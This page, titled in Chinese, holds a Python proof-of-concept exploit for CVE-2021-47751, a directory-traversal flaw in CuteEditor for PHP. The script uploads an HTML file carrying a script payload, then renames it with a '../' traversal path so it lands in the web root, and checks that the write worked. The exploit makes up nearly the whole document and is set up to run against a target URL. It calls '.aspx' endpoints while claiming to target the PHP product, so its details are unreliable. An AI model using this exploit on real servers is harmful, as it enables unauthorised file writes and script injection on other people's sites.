CVE-2021-47751 CuteEditor for PHP目录遍历漏洞

import requests import sys # CVE-2021-47751 PoC - CuteEditor for PHP Directory Traversal # Target: CuteEditor for PHP <= 6.6 # Vulnerability: Path Traversal in browse template feature via ServerMapPath() TARGET_URL = "http://target.com/cuteeditor/" TARGET_PATH = "../../../../var/www/html/evil.html" EVIL_CONTENT = "<script>alert('XSS via Directory Traversal')</script>" def exploit_directory_traversal(): """Exploit the directory traversal vulnerability in CuteEditor""" # Step 1: Access browse template feature browse_url = f"{TARGET_URL}BrowseTemplate.aspx" try: session = requests.Session() # Step 2: Upload malicious HTML file upload_url = f"{TARGET_URL}BrowseTemplate.aspx?action=upload" files = { 'file': ('malicious.html', EVIL_CONTENT, 'text/html') } upload_response = session.post(upload_url, files=files) # Step 3: Intercept and modify rename request with path traversal rename_url = f"{TARGET_URL}BrowseTemplate.aspx?action=rename" rename_data = { 'oldname': 'malicious.html', 'newname': TARGET_PATH } rename_response = session.post(rename_url, data=rename_data) # Step 4: Verify file was written outside template directory verify_url = f"http://target.com/evil.html" verify_response = session.get(verify_url) if 'malicious' in verify_response.text or 'XSS' in verify_response.text: print("[+] Exploit successful! File written to web root.") return True else: print("[-] Exploit failed or file not found at target location.") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("CVE-2021-47751 - CuteEditor Directory Traversal Exploit") exploit_directory_traversal()